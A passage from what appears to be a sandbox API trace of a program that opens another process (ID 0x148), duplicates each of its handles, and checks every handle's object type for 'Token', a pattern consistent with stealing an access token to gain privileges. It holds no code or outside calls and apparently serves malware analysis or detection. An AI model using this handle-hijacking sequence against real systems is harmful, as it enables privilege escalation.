(hMem=0x181a40) returned 0x0 [0196.791] CloseHandle (hObject=0x16c) returned 1 [0196.791] CloseHandle (hObject=0x168) returned 1 [0196.791] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.791] GetCurrentProcess () returned 0xffffffffffffffff [0196.791] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x110, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.791] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.791] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.791] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.791] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.791] LocalFree (hMem=0x160a40) returned 0x0 [0196.791] CloseHandle (hObject=0x16c) returned 1 [0196.791] CloseHandle (hObject=0x168) returned 1 [0196.791] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.791] GetCurrentProcess () returned 0xffffffffffffffff [0196.791] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x114, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.791] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.791] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.791] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.792] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.792] LocalFree (hMem=0x160a40) returned 0x0 [0196.792] CloseHandle (hObject=0x16c) returned 1 [0196.792] CloseHandle (hObject=0x168) returned 1 [0196.792] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.792] GetCurrentProcess () returned 0xffffffffffffffff [0196.792] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x118, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.792] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.792] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.792] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.792] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.792] LocalFree (hMem=0x160a40) returned 0x0 [0196.792] CloseHandle (hObject=0x16c) returned 1 [0196.792] CloseHandle (hObject=0x168) returned 1 [0196.792] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.792] GetCurrentProcess () returned 0xffffffffffffffff [0196.792] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x11c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.792] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.792] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.792] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.792] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.792] LocalFree (hMem=0x160a40) returned 0x0 [0196.792] CloseHandle (hObject=0x16c) returned 1 [0196.792] CloseHandle (hObject=0x168) returned 1 [0196.792] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.793] GetCurrentProcess () returned 0xffffffffffffffff [0196.793] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x120, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.793] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.793] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.793] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.793] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.793] LocalFree (hMem=0x160a40) returned 0x0 [0196.793] CloseHandle (hObject=0x16c) returned 1 [0196.793] CloseHandle (hObject=0x168) returned 1 [0196.793] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.793] GetCurrentProcess () returned 0xffffffffffffffff [0196.793] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x124, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.793] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.793] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.793] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.793] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.793] LocalFree (hMem=0x160a40) returned 0x0 [0196.793] CloseHandle (hObject=0x16c) returned 1 [0196.793] CloseHandle (hObject=0x168) returned 1 [0196.793] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.793] GetCurrentProcess () returned 0xffffffffffffffff [0196.793] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x128, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.793] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.793] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.794] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.794] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.794] LocalFree (hMem=0x160a40) returned 0x0 [0196.794] CloseHandle (hObject=0x16c) returned 1 [0196.794] CloseHandle (hObject=0x168) returned 1 [0196.794] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.794] GetCurrentProcess () returned 0xffffffffffffffff [0196.794] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x12c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.794] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.794] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.794] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.794] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.794] LocalFree (hMem=0x160a40) returned 0x0 [0196.794] CloseHandle (hObject=0x16c) returned 1 [0196.794] CloseHandle (hObject=0x168) returned 1 [0196.794] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.794] GetCurrentProcess () returned 0xffffffffffffffff [0196.794] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x130, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.794] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.794] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.794] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.794] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.794] LocalFree (hMem=0x160a40) returned 0x0 [0196.794] CloseHandle (hObject=0x16c) returned 1 [0196.794] CloseHandle (hObject=0x168) returned 1 [0196.795] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.795] GetCurrentProcess () returned 0xffffffffffffffff [0196.795] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x134, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.795] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.795] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.795] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.795] RtlEqualUnicodeString (String1="Process", String2="Token", CaseInsensitive=1) returned 0 [0196.795] LocalFree (hMem=0x160a40) returned 0x0 [0196.795] CloseHandle (hObject=0x16c) returned 1 [0196.795] CloseHandle (hObject=0x168) returned 1 [0196.795] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.795] GetCurrentProcess () returned 0xffffffffffffffff [0196.795] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x138, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.795] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.795] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.795] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.795] RtlEqualUnicodeString (String1="Process", String2="Token", CaseInsensitive=1) returned 0 [0196.795] LocalFree (hMem=0x160a40) returned 0x0 [0196.795] CloseHandle (hObject=0x16c) returned 1 [0196.795] CloseHandle (hObject=0x168) returned 1 [0196.795] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.795] GetCurrentProcess () returned 0xffffffffffffffff [0196.795] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x13c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.795] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.796] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.796] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.796] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.796] LocalFree (hMem=0x160a40) returned 0x0 [0196.796] CloseHandle (hObject=0x16c) returned 1 [0196.796] CloseHandle (hObject=0x168) returned 1 [0196.796] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.796] GetCurrentProcess () returned 0xffffffffffffffff [0196.796] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x140, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.796] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.796] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.796] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.796] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.796] LocalFree (hMem=0x160a40) returned 0x0 [0196.796] CloseHandle (hObject=0x16c) returned 1 [0196.796] CloseHandle (hObject=0x168) returned 1 [0196.796] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.796] GetCurrentProcess () returned 0xffffffffffffffff [0196.796] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x144, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.796] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.796] LocalAlloc (uFlags=0x40, uBytes=0x80) returned 0x181a40 [0196.796] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x181a40, ObjectInformationLength=0x80, ReturnLength=0x10fa40 | out: ObjectInformation=0x181a40, ReturnLength=0x10fa40) returned 0x0 [0196.796] RtlEqualUnicodeString (String1="ALPC Port", String2="Token", CaseInsensitive=1) returned 0 [0196.796] LocalFree (hMem=0x181a40) returned 0x0 [0196.797] CloseHandle (hObject=0x16c) returned 1 [0196.797] CloseHandle (hObject=0x168) returned 1 [0196.797] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.797] GetCurrentProcess () returned 0xffffffffffffffff [0196.797] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x14c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.797] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.797] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.797] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.797] RtlEqualUnicodeString (String1="Section", String2="Token", CaseInsensitive=1) returned 0 [0196.797] LocalFree (hMem=0x160a40) returned 0x0 [0196.797] CloseHandle (hObject=0x16c) returned 1 [0196.797] CloseHandle (hObject=0x168) returned 1 [0196.797] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.797] GetCurrentProcess () returned 0xffffffffffffffff [0196.797] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x150, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.797] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.797] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.797] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.797] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.797] LocalFree (hMem=0x160a40) returned 0x0 [0196.797] CloseHandle (hObject=0x16c) returned 1 [0196.797] CloseHandle (hObject=0x168) returned 1 [0196.798] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.798] GetCurrentProcess () returned 0xffffffffffffffff [0196.798] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x154, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.798] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.798] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.798] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.798] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.798] LocalFree (hMem=0x160a40) returned 0x0 [0196.798] CloseHandle (hObject=0x16c) returned 1 [0196.798] CloseHandle (hObject=0x168) returned 1 [0196.798] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.798] GetCurrentProcess () returned 0xffffffffffffffff [0196.798] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x158, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.798] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.798] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.798] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.798] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.798] LocalFree (hMem=0x160a40) returned 0x0 [0196.798] CloseHandle (hObject=0x16c) returned 1 [0196.798] CloseHandle (hObject=0x168) returned 1 [0196.798] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.798] GetCurrentProcess () returned 0xffffffffffffffff [0196.799] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x15c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.799] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.799] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.799] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.799] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.799] LocalFree (hMem=0x160a40) returned 0x0 [0196.799] CloseHandle (hObject=0x16c) returned 1 [0196.799] CloseHandle (hObject=0x168) returned 1 [0196.799] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.799] GetCurrentProcess () returned 0xffffffffffffffff [0196.799] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x160, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.799] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.799] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.799] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.799] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.799] LocalFree (hMem=0x160a40) returned 0x0 [0196.799] CloseHandle (hObject=0x16c) returned 1 [0196.799] CloseHandle (hObject=0x168) returned 1 [0196.799] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.799] GetCurrentProcess () returned 0xffffffffffffffff [0196.799] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x164, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.799] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.799] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.799] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.799] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.799] LocalFree (hMem=0x160a40) returned 0x0 [0196.800] CloseHandle (hObject=0x16c) returned 1 [0196.800] CloseHandle (hObject=0x168) returned 1 [0196.800] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.800] GetCurrentProcess () returned 0xffffffffffffffff [0196.800] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x168, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.800] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.800] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.800] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.800] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.800] LocalFree (hMem=0x160a40) returned 0x0 [0196.800] CloseHandle (hObject=0x16c) returned 1 [0196.800] CloseHandle (hObject=0x168) returned 1 [0196.800] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.800] GetCurrentProcess () returned 0xffffffffffffffff [0196.800] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x16c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.800] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.800] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.800] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.800] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.800] LocalFree (hMem=0x160a40) returned 0x0 [0196.800] CloseHandle (hObject=0x16c) returned 1 [0196.800] CloseHandle (hObject=0x168) returned 1 [0196.800] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.800] GetCurrentProcess () returned 0xffffffffffffffff [0196.800] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x170, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.801] NtQueryObject (in: 